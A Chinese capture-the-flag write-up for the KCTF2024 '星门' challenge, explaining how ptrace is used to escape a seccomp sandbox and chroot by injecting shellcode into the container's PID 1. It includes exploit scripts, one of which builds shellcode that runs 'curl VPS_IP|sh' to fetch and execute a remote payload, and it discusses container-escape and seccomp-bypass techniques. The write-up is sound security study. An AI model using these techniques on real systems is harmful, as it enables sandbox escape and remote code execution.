KCTF2024 - 星门题解
ptrace绕过seccomp讨论 (手搓shellcode打咩)
比赛link:https://ctf.kanxue.com/game-team_list-20-37.htm
题目link:https://ctf.kanxue.com/game-season_fight-252.htm
TL;DR
ptrace向entry point进程注入shellcode,替换power的文件为sh,2起遍历pid杀掉sleep让sh执行shellcode,再次连接题目就能拿到shell。
正文
程序分析
开沙箱之后读0x1000个字节的shellcode,然后直接call过去
call之前不动任何寄存器,可以说非常友好了
dump一下沙箱的规则:
只允许read, wait4, ptrace
思路
目标是读flag,但程序自身现在不能open和write,也不能fork一个进程出来
ptrace很强大,可以杀进程也可以读写进程内存和寄存器。
如果我们的shellcode太长,可以考虑用read二次延申。
山穷水尽
题目开了ptrace,在运行容器的时候也给了docker强大的 CAP_SYS_PTRACE 权限,此时:
- 如果docker开启了共享了pid共享(或者低版本docker自带),那可以直接逃逸到宿主机。
- 如果目标环境内核版本过低,ptrace的优先级低于seccomp。我们就可以用一个允许的syscall number先骗过seccomp,当被ptrace捕获时再修改为实际的syscall number,就可以绕过seccomp
但是本题目环境不存在这两个问题
(后记中还讨论了用prtace在另一种特定情况下竞争绕过seccomp的可能)
柳暗花明
注意本题的power虽然在chroot环境中,但还是作为root运行的,理论可以trace容器内的任意进程。那我们可以随意trace一个其他不受seccomp限制的进程,然后向其注入shellcode就可以摆脱seccomp和chroot了。
这里的shellcode就很自由了,可以是:
将power替换为sh,再次连接时候执行的power就会直接生成shell,注意在shellcode结尾加上循环,不然entrypoint执行结束容器就会退出,环境销毁。
容器中的进程有:
- pid固定为1的entrypoint(/bin/sh start.sh),此时正在wait子进程
- pid为x的子进程sleep infinity
- pid为x+1的xinted
- 连接时xinted产生的pid为y的power
执行流程
自己不能ptrace自己,xinted可以留给后续连接用,那就可以有以下思路:
- ptrace sh的进程,向rip注入shellcode,因为sh在wait子进程所以还不会执行我们注入的shellcode
- ptrace从2开始遍历,成功trace的第一个进程就为sleep进程
- ptrace发送ALARM或者KILL之类的信号停掉sleep进程
- 停止ptrace sh的进程,让其继续执行
- 此时sh进程就会以root身份,在chroot外执行我们的shellcode
Exp编写
生成第二段shellcode(注入sh执行的shellcode):
1 | from pwn import * |
生成第一段shellcode(发给程序的):
1 | #include <sys/ptrace.h> |
然后编译一下:gcc pwn.c --static -nostdlib -o pwn
直接dump生成二进制的text段即可,最后加上jmp到main的两字节就是最终exp了
FinalExp
1 | from pwn import * |
后记
关于解法
这种解法10分钟内会有被蹭车的可能,而且因为拿到了无限制的容器内最高权限,打通之后可以删改flag也可以抓别人流量(
JS)不知道是不是预期解
版主回复说在预期内,可以打通之后删flag防蹭车
然而远程环境其实是出网的,拿到本地shell之后显然有更优雅的做法QAQ
shellcode自动化
因为某些原因手写了长度和字符集受限的计算md5的shellcode之后就再也不想手写shellcode了,好在这题对shellcode本身没什么限制,可以自动生成,非常友好:
from pwn import *
context.arch = 'amd64'
c_template = ''' // 上边贴过的C代码
#include <sys/ptrace.h>
...
int _start() {
...
unsigned long long data[] = {
SHELLCODE
};
syscall(SYS_ptrace, PTRACE_ATTACH, 1, NULL, NULL);
...
return 0;
}
'''
sc = asm(shellcraft.execve('/bin/sh', [
'/bin/sh', '-c',
"""apt install -y curl; curl VPS_IP|sh ; sleep 5"""
], 0) + '\njmp $+0')
shellcode_u64 = ', '.join([hex(u64(sc[i:i+8].ljust(8, b'\x90'))) for i in range(0, len(sc), 8)])
c_template = c_template.replace('SHELLCODE', shellcode_u64)
with open('1.c', 'w') as f:
f.write(c_template)
os.system('gcc 1.c --static -nostdlib')
os.system('objcopy --dump-section .text=dmp a.out')
with open('dmp', 'rb') as f:
sc = f.read()
assert len(sc) < 0x1000
p = remote("127.0.0.1", 9999) # 47.101.191.23
p.send(bytes.fromhex('eb44') + sc)
p.interactive()
第四种ptrace逃逸seccomp的方法
已知ptrace可以做的三件好事:
- 共享命名空间下容器逃逸: https://book.hacktricks.xyz/v/cn/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_ptrace
- 低内核版本下seccomp逃逸:https://gist.github.com/thejh/8346f47e359adecd1d53
- 本题作为root劫持任意其他进程实现逃逸
此外,非root用户在ptrace_scope=0时,也有机会逃逸seccomp (来自@cnitlrt和v3rdant.cn)
root用户可以随意trace其他进程,而非root用户只能trace自己的子进程。
然而,如果/proc/sys/kernel/yama/ptrace_scope
设置为0,非root用户就能trace本用户的所有进程。
题目环境中pid比较稳定,几乎可以假设下一个次连接时的pid一定是本次连接+1,那么我们可以:
- 从一个比较大的值如3000开始向下遍历pid,直到attach到自己
- 开始ptrace轮询尝试附加到pid+1的进程
- 开启下一个连接
虽然有失败的可能,如果能在第二次连接启动的power进程执行prctl调用前附加上,我们就可以:
- A: 修改ax为一个非prctl系统调用,让沙盒失效
- B: 直接注入shellcode,让该链接返回一个shell
然而,docker中的/proc/sys/kernel/yama/ptrace_scope
随宿主机的设置,在题目环境中,该值为1。所以如果本题的power不是以root运行的,该方法也不能用来解决本题。
KCTF2024 - 星门题解